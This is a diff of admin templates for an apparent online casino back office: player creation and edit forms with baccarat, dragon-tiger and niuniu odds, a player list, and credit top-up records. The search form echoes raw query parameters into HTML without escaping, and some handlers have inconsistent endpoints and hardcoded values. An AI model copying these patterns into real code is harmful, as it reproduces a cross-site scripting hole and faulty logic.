<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占成(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value="0" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 无上级代理最高不能超过100% </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1">网络投注</option>
<option value="2">电话投注</option>
<option value="3">所有投注</option>
</select>
<span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="2" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="3" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="5" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/player/player_add';
});
//监听提交
$('.submit').click( function(){
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.parent_agent_id = $('#parent_agent').val();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.win_limit = $('#win_limit').val();
// 验证数据
if(query.username.length == 0){
layer.alert("请填写账号!");
return false;
}
if(query.nickname.length == 0){
layer.alert("请填写昵称!");
return false;
}
if(query.pass.length <= 0){
layer.alert("请填写密码!");
return false;
}
if(query.pass.length > 0 && query.pass.length < 6){
layer.alert("密码长度为6到16个字符!");
return false;
}
if(query.pass != query.repass){
layer.alert("两次密码不一致!");
return false;
}
if(query.ximalv >= 100){
layer.alert("洗码率最高不能超过100%!");
return false;
}
if(query.ximalv_dt >= 100){
layer.alert("洗码率最高不能超过100%!");
return false;
}
if(query.cs > 100){
layer.alert("占成最高不能超过100%!");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_pair <= 0){
layer.alert("押对子赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/player/do_player_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/player/index";
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,376 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">玩家修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">上级代理:</label>
<div class="controls">
<input id="L_parent_agent" name="L_parent_agent" type="text" value="{$parent_agent.username}" maxlength="50" minlength="3" class="required" readonly>
<span class="help-inline">
<font color="red"> </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">账号:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$player.username}" readonly maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">昵称:</label>
<div class="controls">
<input id="L_nickname" name="L_nickname" type="text" value="{$player.nickname}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 不填密码默认不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 不填密码默认不修改</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">手机号码:</label>
<div class="controls">
<input id="L_mobile" name="L_mobile" type="text" value="{$player.mobile}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">邮箱:</label>
<div class="controls">
<input id="L_email" name="L_email" type="text" value="{$player.email}" maxlength="50" minlength="3" class="required">
</div>
</div>
<div class="control-group">
<label class="control-label">百家乐码率(%):</label>
<div class="controls">
<input id="L_ximalv" name="L_ximalv" type="text" value="{$player.agent_ximalv}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">龙虎码率(%):</label>
<div class="controls">
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="{$player.agent_ximalv_dt}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_ximalv_dt}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">占成(%):</label>
<div class="controls">
<input id="L_cs" name="L_cs" type="text" value="{$player.agent_cs}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 洗码率不能超过{$parent_agent.agent_cs}%</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最低限红:</label>
<div class="controls">
<input id="limit_low" name="limit_low" type="text" maxlength="10" class="required" value="{$player.limit_low}"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">最高限红:</label>
<div class="controls">
<input id="limit_high" name="limit_high" type="text" maxlength="10" class="required" value="{$player.limit_high}"><span class="help-inline">
<font color="red"> * 不填写则为0,限红将根据桌子限红</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">投注方式:</label>
<div class="controls">
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
<option value="0">请选择投注方式</option>
<option value="1" <?php if($player['bet_type'] == 1) {echo 'selected';} ?>>网络投注</option>
<option value="2" <?php if($player['bet_type'] == 2) {echo 'selected';} ?>>电话投注</option>
<option value="3" <?php if($player['bet_type'] == 3) {echo 'selected';} ?>>所有投注</option>
</select>
<span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押庄赔率:</label>
<div class="controls">
<input id="price_banker" name="price_banker" type="text" value="{$player.price_banker}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押闲赔率:</label>
<div class="controls">
<input id="price_player" name="price_player" type="text" value="{$player.price_player}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="{$player.price_tie_baccarat}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押对子赔率:</label>
<div class="controls">
<input id="price_pair" name="price_pair" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 百家乐 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押龙赔率:</label>
<div class="controls">
<input id="price_dragon" name="price_dragon" type="text" value="{$player.price_dragon}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押虎赔率:</label>
<div class="controls">
<input id="price_tiger" name="price_tiger" type="text" value="{$player.price_tiger}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押和赔率:</label>
<div class="controls">
<input id="price_tie_dt" name="price_tie_dt" type="text" value="{$player.price_tie_dt}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 龙虎斗 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛7-牛9赔率:</label>
<div class="controls">
<input id="price_n7_n9" name="price_n7_n9" type="text" value="{$player.price_n7_n9}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押牛牛赔率:</label>
<div class="controls">
<input id="price_nn" name="price_nn" type="text" value="{$player.price_nn}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">押五公赔率:</label>
<div class="controls">
<input id="price_5n" name="price_5n" type="text" value="{$player.price_5n}" maxlength="10" class="required"><span class="help-inline">
<font color="red"> * 牛牛 </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">日赢上限:</label>
<div class="controls">
<input id="win_limit" name="win_limit" type="text" value="{$player.win_limit}" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
<font color="red"> * 默认0则为没有限制</font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="player-id" value="{$player.id}">
<input type="hidden" id="parent-ximalv" value="{$parent_agent.agent_ximalv}">
<input type="hidden" id="parent-ximalv-dt" value="{$parent_agent.agent_ximalv_dt}">
<input type="hidden" id="parent-cs" value="{$parent_agent.agent_cs}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/index';
if(id == "2") location.href = '/player/player_edit';
});
//监听提交
$('.submit').click(function () {
// 获取和拼装添加代理的数据
var limit_checkout = new Array();
var query = new Object();
query.player_id = $('#player-id').val();
query.username = $('#L_username').val();
query.nickname = $('#L_nickname').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.mobile = $('#L_mobile').val();
query.email = $('#L_email').val();
query.ximalv = $('#L_ximalv').val();
query.ximalv_dt = $('#L_ximalv_dt').val();
query.cs = $('#L_cs').val();
query.bet_type = $('#L_bet_type').val();
var parent_ximalv = $('#parent-ximalv').val();
var parent_ximalv_dt = $('#parent-ximalv-dt').val();
var parent_cs = $('#parent-cs').val();
query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val();
query.price_banker = $('#price_banker').val();
query.price_player = $('#price_player').val();
query.price_tie_baccarat = $('#price_tie_baccarat').val();
query.price_pair = $('#price_pair').val();
query.price_dragon = $('#price_dragon').val();
query.price_tiger = $('#price_tiger').val();
query.price_tie_dt = $('#price_tie_dt').val();
query.price_n7_n9 = $('#price_n7_n9').val();
query.price_nn = $('#price_nn').val();
query.price_5n = $('#price_5n').val();
query.win_limit = $('#win_limit').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
if(parseFloat(query.ximalv) > parseFloat(parent_ximalv) || parseFloat(query.ximalv_dt) > parseFloat(parent_ximalv_dt)){
layer.msg("码率不能超过父级码率");
return false;
}
if(parseFloat(query.cs) > parseFloat(parent_cs)){
layer.msg("占成不能超过父级占成");
return false;
}
if(query.bet_type <= 0){
layer.alert("请选择投注方式");
return false;
}
if(query.price_banker <= 0){
layer.alert("押庄赔率必须大于0");
return false;
}
if(query.price_player <= 0){
layer.alert("押闲赔率必须大于0");
return false;
}
if(query.price_tie_baccarat <= 0){
layer.alert("押和(百家乐)赔率必须大于0");
return false;
}
if(query.price_dragon <= 0){
layer.alert("押龙赔率必须大于0");
return false;
}
if(query.price_tiger <= 0){
layer.alert("押虎赔率必须大于0");
return false;
}
if(query.price_tie_dt <= 0){
layer.alert("押和(龙虎斗)赔率必须大于0");
return false;
}
if(query.price_n7_n9 <= 0){
layer.alert("押牛7-牛9赔率必须大于0");
return false;
}
if(query.price_nn <= 0){
layer.alert("押牛牛赔率必须大于0");
return false;
}
if(query.price_5n <= 0){
layer.alert("押五公赔率必须大于0");
return false;
}
if(query.win_limit.length <= 0){
layer.alert("日赢上限不能为空");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/player/do_player_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/player/index';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,56 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">玩家列表</div>
<thead>
<tr>
<th style="text-align: center;">用户名</th>
<th style="text-align: center;">联系人</th>
<th style="text-align: center;">手机</th>
<th style="text-align: center;">邮箱</th>
<th style="text-align: center;">上级代理</th>
<th style="text-align: center;">代理类型</th>
<th style="text-align: center;">最近上分</th>
<th style="text-align: center;">商户余额</th>
<th style="text-align: center;">洗码率(%)</th>
<th style="text-align: center;">总下注</th>
<th style="text-align: center;">总赢</th>
<th style="text-align: center;">码量</th>
<th style="text-align: center;">创建日期</th>
<th style="text-align: center;">状态</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
<td>{$vo.mobile}</td>
<td>{$vo.email}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>无</td>
{/if}
<td>玩家</td>
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.all_bet_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.maliang}</td>
<td style="width:80px;">{$vo.reg_time}</td>
{if condition="$vo.status == 1"}
<td>正常</td>
{else}
<td>锁定中</td>
{/if}
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+254
View File
@@ -0,0 +1,254 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">玩家上下分记录列表</a>
<a href="javascript:;" class="list-two" data-id="2">玩家上下分记录添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/scores" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="mode" id="mode">
<option value="-1" selected>请选择操作类型</option>
<option value="1" <?php if(isset($get['mode']) && $get['mode'] == 1) {echo 'selected';} ?>>上分</option>
<option value="2" <?php if(isset($get['mode']) && $get['mode'] == 2) {echo 'selected';} ?>>下分</option>
</select>
</div>
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<span class="layui-btn" id="print">打印</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>账号</th>
<th>联系人</th>
<th>代理类型</th>
<th>操作类型</th>
<th>操作金额</th>
<th>操作人</th>
<th>余额</th>
<th>创建日期</th>
<th>备注</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="scoresList" item="vo"}
<tr>
<td>{$vo.username_for}</td>
<td>{$vo.nickname_for}</td>
<td>{$vo.user_agent_level}</td>
{if condition="$vo.mode == 1"}
<td style="color:#ff5050;">{$vo.mode_msg}</td>
<td style="color:#ff5050;">{$vo.amount}</td>
{else}
<td style="color:#009688;">{$vo.mode_msg}</td>
<td style="color:#009688;">{$vo.amount}</td>
{/if}
<td>{$vo.admin_user_name}</td>
<td>{$vo.new_money}</td>
<td>{$vo.create_time}</td>
<td>{$vo.remake}</td>
<td class="td-manage">
<a href="/player/scores_add_show?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini">查看</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$scoresList->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == 1) location.href = '/player/scores';
if(id == 2) location.href = '/player/scores_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*用户-锁定/解锁*/
function member_stop(obj, id) {
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
if ($(obj).attr('title') == '锁定') {
// 拼装数据发送后台 锁定 会员
var query = new Object;
query.user_id = id;
query.status = 0;
var result = ajax('/member/change_status', query);
} else {
// 拼装数据发送后台 解锁 会员
var query = new Object;
query.user_id = id;
query.status = 1;
var result = ajax('/agent/change_status', query);
}
// 判断结果 弹出提示
if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500});
setInterval(function () {
location.reload();
}, 1500);
} else {
layer.msg(result.msg, {icon: 2, time: 1500});
}
});
}
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/agent/agent_del',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var mode = qs["mode"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(mode == undefined){
mode = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title:'玩家上下分记录列表打印',
content: '/player/scores_print?startDate='+startDate+'&endDate='+endDate+'&mode='+mode+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var agent_level = $('#agent_level').val();
var mode = $('#mode').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/player/scores?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&agent_level="+agent_level+"&&mode="+mode+"&&username="+username;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,289 @@
{include file="public/header"}
<style>
textarea, input[type="text"], input[type="password"],
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
#search-agent{ padding-left:16px;padding-top:5px; background:#fff; border-radius:5px;position:absolute; left:315px;top:0; margin-left:-3px;display:block;height:21px; color:black; border:1px solid #ececec; width: 25px;cursor:pointer; }
#search-agent:hover{border-color:#ccc;}
#search-agent i{margin-top:30px;}
#search-agent:hover > i{ color:#148cf1; }
#search-agent i{ margin-left:-4px; }
#L_username{ background:#ececec; cursor:pointer; }
#agent_list{ width:300px; height:400px; border:1px solid #a2a2a2; position:absolute; left:550px; top:44px; z-index:99; background:#fff; display:none; }
#agent_list #header-box{ width:100%; height:40px; border-bottom:1px solid #ccc; position:relative; cursor:move; }
#agent_list #header-box a{ position:absolute; top:3px; right:20px; font-size:22px; }
#agent_list #header-box div{ height:30px; margin:10px 25px; line-height:30px; font-size:18px; font-weight:bold; color:#333; }
#agent_list .main-box{ height:50px; margin-top:10px; background:#fff; }
#agent_list .main-box label{ font-size:14px; margin-left:25px; margin-right:10px; }
#agent_list .main-box input{ border-radius:5px; height:30px; width:110px; border:1px solid #ccc; padding-left:5px; }
#agent_list .main-box input:focus{ border:1px solid #148cf1; }
#agent_list .main-box button{ background:#fff; border:1px solid #ccc; width:60px; height:30px; border-radius:5px; cursor:pointer; margin-left:10px; }
#agent_list .main-box button:hover{ border:1px solid #8a8a8a; }
#agent_list .main-box .z-tree{ margin-top:20px; height:240px; }
#agent_list .main-box .z-tree ul{ margin-left: 50px; }
#agent_list .main-box .z-tree ul li{ list-style: none; position:relative; height:20px; padding-left:2px; cursor:default; }
